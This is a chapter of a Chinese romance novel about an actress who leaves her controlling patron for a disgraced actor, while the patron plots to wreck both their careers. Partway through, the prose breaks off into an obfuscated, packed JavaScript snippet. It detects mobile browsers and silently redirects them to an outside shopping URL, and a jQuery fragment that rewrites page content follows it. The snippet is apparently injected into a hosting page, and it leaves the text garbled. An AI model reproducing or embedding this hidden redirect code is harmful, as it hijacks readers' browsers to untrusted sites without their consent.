商颂醒来的时候,已是午后。
窗帘依旧没有拉开,将那个充满算计与窥探的世界严丝合缝地挡在外面。屋内的空气像是发酵的葡萄酒,带着微酸的靡丽,每一次呼吸都像是被细小的电流轻吻肺叶。
身边已经空了,只有床单上深刻的褶皱和残留的体温,昭示着昨夜的荒唐与放纵。她动了动身子,酸痛感顺着骨缝蔓延,却意外地并不让人反感。那是活着的感觉,比在高定礼服里端着架子假笑要真实得多。
她随手捞起一件伯雪寻的宽大衬衫套在身上,光着脚踩在地板上。空气里弥漫着一股淡淡的咖啡香,那是某种名为“安心”的味道。
客厅里,投影仪正无声地投射着画面。
伯雪寻正窝在沙发的一角,腿上摊开一本毛姆的《面纱》,手边放着一杯冰美式。听见动静,他抬起头,那双深情眼里带着几分未散的慵懒和显而易见的纵容。
“醒了?锅里有海鲜粥。”
他的声音有些哑,大概是昨晚用嗓过度。商颂的脸颊红了一下,随即又扬起下巴,摆出一副漫不经心的姿态走了过去。
“不饿。”她像一只餍足的猫,蜷进了他怀里,找了个舒服的位置靠着,“看什么呢?”
“随便找的老片子,《蒂凡尼的早餐》。”伯雪寻顺势揽住她的腰,手掌在她腰侧轻轻摩挲,带着安抚的意味,“本来想挑部动作片学习一下技巧,怕你觉得我太功利。”
商颂嗤笑一声,指尖在他胸口画圈,“你昨晚的‘技巧’还需要学习?”
伯雪寻抓住她作乱的手,放在唇边吻了吻指尖,“那只能说明对手配合得好,亦师亦友。”
商颂没再说话,视线落向幕布。那个渴望在上流社会立足却又渴望真爱的霍莉,在雨中寻找被她遗弃的猫。黑白的光影交错在伯雪寻的侧脸上,将他的轮廓勾勒得深邃而迷人。
她突然意识到,这个男人哪怕是从神坛跌落,骨子里的那种松弛感依旧高级得令人嫉妒。
“想吃樱桃。”商颂突然开口,声音软绵绵的,带着点理所当然的娇气。
伯雪寻挑了挑眉,却没有任何不耐烦。他伸手从茶几上的果盘里捏起一颗红得发紫的车厘子,没有直接递给她,而是咬在齿间,低下头凑近她。
商颂的眸光闪了闪,迎了上去。
汁水在唇齿间爆开,甜意混着刚才冰美式的苦涩,调制出一种令人上瘾的味道。
他喂得很耐心,舌尖卷走流到她嘴角的汁液。
“甜吗?”他抵着她的额头问。
“还行。”商颂舔了舔唇,眼波流转,“没你甜。”
伯雪寻低笑一声,他伸手将她鬓角的碎发别到耳后,眼神专注得让人心惊,“商颂,你这勾人的本事,要是用在正道上,早就拿影后了。”
“在你身上还不算正道?”商颂反问,手指勾住他的领口,“我可是在投资潜力股。”
“那我得努力了,”伯雪寻握住她的手,“不能让金主失望。”
屋内流淌着《MoonRiver》的旋律,风扫过那本《面纱》的一页:【我对你根本没抱幻想。我知道你愚蠢、轻佻、头脑空虚,然而我爱你。我知道你的企图、你的理想,你势利、庸俗,然而我爱你。我知道你是个二流货色,然而我爱你。】
而在城市的另一端,周氏集团总裁办里,气氛冷凝成冰。
周彻靠在造价不菲的人体工学椅上,指间夹着一根并未点燃的万宝路。
那条分手短信依旧停留在他的手机屏幕上。
起初看到的时候,他只觉得好笑。
商颂是什么人?那是他一手捧起来的金丝雀,是在这名利场里必须要依附他这棵大树才能生存的菟丝花。她那种骄傲是易碎的,是需要用昂贵的资源和金钱去维护的。
离开他?她能去哪?
周彻甚至没有回复,只是随手将手机扔在一旁,继续和几个投行的高管谈论着几十亿的并购案。在他看来,这不过是女人常用的小把戏——吃醋、闹别扭、博关注。
就像是被主人冷落的宠物,总要弄出点动静来乞求爱抚。等她在外面碰了壁,淋了雨,自然会乖乖回来,到时候他再随便给个什么高奢代言哄一哄也就是了。
然而,二十四小时过去了。
那个应该回来道歉、哭诉、或者至少打个电话来质问的女人,人间蒸发了。
周彻看着窗外阴沉的天色,心里莫名生出一股烦躁。那种感觉就像是养在笼子里的鸟,明明门开着都不敢飞,某天突然不见了,你确信它飞不远,也活不下去,但这种“失控”本身,就是对拥有者权威的挑衅。
“咚咚。”
助理推门进来,手里拿着一份文件,神色有些小心翼翼,“周先生,您让我查的商小姐的行踪……”
“人在哪?”周彻漫不经心地转动着手里的万宝路,“是不是在哪个酒店躲着哭?或者是回了她那个快倒闭的公司?”
助理顿了顿,似乎在斟酌措辞,最后还是硬着头皮说道:“都不是。商小姐昨晚……去了东四环的一个老小区。”
“老小区?”周彻皱眉,显然对这个词感到陌生且厌恶。
“是……伯雪寻的住所。”
周彻手中的万宝路“咔嚓”一声被捏断了。碎裂的烟叶簌簌落下,弄脏了他昂贵的西裤,但他仿佛毫无察觉。
伯雪寻。
周彻想起不久前给商颂看的那份“黑料”,想起她当时震惊和恶心的表情。按理说,她应该对那个男人避之不及才对。
“你确定?”周彻的声音阴沉得可怕。
“非常确定。”助理冷汗直冒,把手里的平板递过去,“狗仔那边虽然没敢发,但拍到了商小姐的车进了小区地库,直到现在……还没出来。”
直到现在还没出来。
这意味着什么,成年人都懂。
一股前所未有的暴戾从周彻的心底升起。他一直以为商颂是在耍小性子,却没想到她是真的敢——敢当着他的面,跳进另一个男人的怀里,甚至还是一个不如他的男人。
这是背叛,更是羞辱。
他猛地站起身,走到巨大的落地窗前,俯瞰着脚下蝼蚁般的车水马龙。
“有意思。”周彻突然笑了,笑意却未达眼底,“商颂,你以为找个垃圾回收站就能恶心到我?”
在他看来,这依然是商颂为了激怒他而采取的极端手段。
“周先生,要不要去……”助理试探着问。
“不用。”周彻摆了摆手,重新恢复了那副高高在上的傲慢姿态,“伯雪寻现在自身难保,欠了一屁股违约金,连像样的资源都拿不到。商颂是个聪明人,她过不了那种苦日子。”
他笃定,商颂只是一时冲动,是被所谓的“同病相怜”冲昏了头脑。
等这股劲儿过了,等她发现那个男人给不了她想要的风光和虚荣,她会看清现实的残酷。
“把之前谈好的那个S级古偶剧的女一号先停一停,放个风声出去,就说在考虑换岑星。”周彻冷冷地下令,“另外,找几家媒体,把伯雪寻那点破事再翻出来炒一炒,我要让他这辈子都翻不了身。”
他要逼她自己回来。
他要让她知道,离开了他周彻,她商颂什么都不是。
而此时的东四环公寓里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126710|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并不知晓暴风雨即将临近的两人,正在进行着一场关于电影的幼稚争论。
商颂懒洋洋地蜷在深灰色的沙发里,领口松松垮垮地斜向一边,露出一大片莹白的肩颈,上面还隐约可见几枚淡红色的吻痕,像是雪地里落下的残梅,艳得刺目。
屏幕上放着王家卫的《花样年华》。周慕云和苏丽珍在逼仄的楼道里擦肩而过,眼神拉丝,欲语还休。
“这电影我看过不下二十遍。”商颂打了个哈欠,百无聊赖地抬起脚,将被子踢到一边。
她没穿袜子,那一双玉足在昏暗的光线下白得晃眼。她并不安分,脚尖探过去,顺着伯雪寻的小腿线条缓慢上移,隔着那层居家运动裤的布料,轻轻磨蹭,带着显而易见的挑逗。
伯雪寻正坐在地毯上,背靠着沙发,手里拿着一颗苹果在削皮。那把水果刀在他指间翻飞,长长的果皮像红色的绸带般垂落,没有断。
感觉到腿上的异样,他手上的动作没停,只是喉结上下滚了一下,嗓音低哑:“那换一部?《色戒》?”
商颂轻笑出声,脚尖得寸进尺地钻进他的裤管,贴上他紧实温热的肌肤,像是寻找热源的蛇,“不用换电影,换个人演就行。”
伯雪寻终于停下了手里的动作。他把削好的苹果切成刚好入口的小块,插上牙签,回过身,正好对上商颂那双像猫一样慵懒又狡黠的眼睛。
他没躲,反而一把捉住了她在衣服里作乱的脚踝,掌心滚烫,指腹摩挲着那一截细腻的踝骨,带来一阵令人战栗的痒意。
“阿颂,”他微微仰头看她,眼神幽深,嘴角却噙着一抹宠溺又无奈的笑,“吃苹果,降降火。”
商颂俯下身,发丝垂落在他的脸颊上。她没有去接苹果,而是张开嘴,轻轻咬住了他的手指。
并没有用力,只是含着,舌尖若有似无地扫过他的指尖,湿润而温热。
伯雪寻的呼吸骤然乱了一拍。
他松开了她的脚踝,转而扣住她的后脑勺,猛地将她压向自己。两人之间的距离瞬间归零,鼻尖抵着鼻尖,连彼此眼底的倒影都看得清清楚楚。
“商颂,”他声音有些发狠,却更像是某种缴械投降,“你是真不怕我死在你身上。”
“牡丹花下死。”商颂弯起眼睛,眼底的水光潋滟,那是只有在他面前才会流露出的风情,“做鬼也风流啊,伯sir。”
这一场缠绵比昨夜更甚。
在极致的颤栗中,她突然产生了一种错觉。
仿佛只要抱紧这具身体,那些权衡利弊的算计,那些作为替身的屈辱,那些需要在名利场里步步为营的疲惫,统统都可以被这一刻的欢愉所冲刷。
“阿颂……”
伯雪寻在她耳边低语,带着某种穿透时光的痛楚和眷恋。
商颂睁开眼,视线模糊中,她看清了他眼角的湿红。
那不是演员的演技,那是一个男人对自己宿命般沉沦的悲哀与狂喜。
她突然笑了,凑上去咬住他的唇角,尝到了一丝咸涩的味道。
“伯雪寻,”她声音支离破碎,却又无比清晰,“如果明天世界末日,我一定还是会选面包而不是爱情。”
伯雪寻动作未停,反而更狠地将她揉进怀里,声音暗哑得不成样子。
“我知道。”
“但我今天晚上,”商颂勾着他的脖子,“我是你的。”
在这一刻,两个在欲望都市中满身疮痍的灵魂,像是两条从深海相遇的盲鱼,明知前路无光,明知结局荒唐,却依然在水草与淤泥中,死死纠缠,不死不休。
至于明天?
管他什么洪水滔天。